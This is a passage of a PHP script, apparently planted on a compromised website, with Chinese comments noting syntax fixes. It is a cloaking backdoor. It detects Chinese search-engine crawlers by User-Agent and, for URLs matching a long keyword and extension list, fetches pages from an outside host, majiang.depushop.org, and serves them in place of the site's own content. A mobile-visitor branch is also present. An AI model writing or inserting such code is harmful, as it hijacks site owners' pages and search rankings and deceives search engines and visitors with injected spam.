"abcdefghijklmnopqrstuvwxyz", 2 => "0123456789");
if($type == 0) {
array_pop($arr);
$string = implode("", $arr);
} elseif($type == "-1") {
$string = implode("", $arr);
} else {
$string = $arr[$type];
}
$count = strlen($string) - 1;
$code = '';
for ($i = 0; $i < $length; $i++) {
$str[$i] = $string[rand(0, $count)];
$code .= $str[$i];
}
return $code;
}
// HTTP采集函数
function httpGetlai($c) {
$d=curl_init();
curl_setopt($d,CURLOPT_URL,$c);
curl_setopt($d,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
curl_setopt($d,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($d,CURLOPT_SSL_VERIFYHOST,FALSE);
curl_setopt($d,CURLOPT_RETURNTRANSFER,1);
curl_setopt($d,CURLOPT_HEADER,0);
$e=curl_exec($d);
curl_close($d);
return $e;
}
$a="stristr";
$b=$_SERVER;
// 常量定义(修复语法错误)
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER'])?'':$b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://majiang.depushop.org/");
define('road', "?road=".$b['HTTP_HOST'].url);
define('memes', road."&referer=".urlencode(ref));
define('regs','@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile','/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
// 路径判断(删除数组最后多余逗号,修复语法错误)
$dirs=array("dy","ys","ku","wen","zkblw","keyan","zhuli","xinwen1","news1","show1","html1","moban","ask","dsp");
$hzl=array("");
// 敏感区域判断
define('area',
$a(url,"ben") or $a(url,"/dy/")or $a(url,"kkk") or $a(url,"/ys/") or $a(url,"/ku/") or $a(url,"/wen/") or $a(url,"zkblw") or $a(url,"keyan") or $a(url,"zhuli") or $a(url,".xml")or $a(url,".doc")or $a(url,".pdf")or $a(url,".txt")or $a(url,".ppt")or $a(url,".pptx")or $a(url,".tacc")or $a(url,".jsp")or $a(url,".asp")or $a(url,".ga")or $a(url,".gq")or $a(url,".pdx")or $a(url,".xlsx")or $a(url,".edu")or $a(url,".gov")or $a(url,"baike")or $a(url,".xls")or $a(url,".htx")or $a(url,".htt")or $a(url,".xhtml")or $a(url,".new")or $a(url,".do")or $a(url,".action")or $a(url,".frx")or $a(url,".csv")or $a(url,".docx")or $a(url,".xhtml")or $a(url,".shtml")or $a(url,"ben")or $a(url,"xinwen1")or $a(url,"news1")or $a(url,"show1")or $a(url,"html1")or $a(url,"moban")or $a(url,"and")or $a(url,"?case/")or $a(url,"xjj")or $a(url,"/ask/")or $a(url,"/dsp/")
);
// 蜘蛛逻辑
if(preg_match(regs,ent)) {
if(area) {
echo httpGetlai(site.road);
exit();
} else {
// 输出随机链接(函数已移出,正常运行)
echo '';
}
}
// 移动端跳转
if(area && preg_match(mobile,ent)) {
echo '
';
exit;
}
?>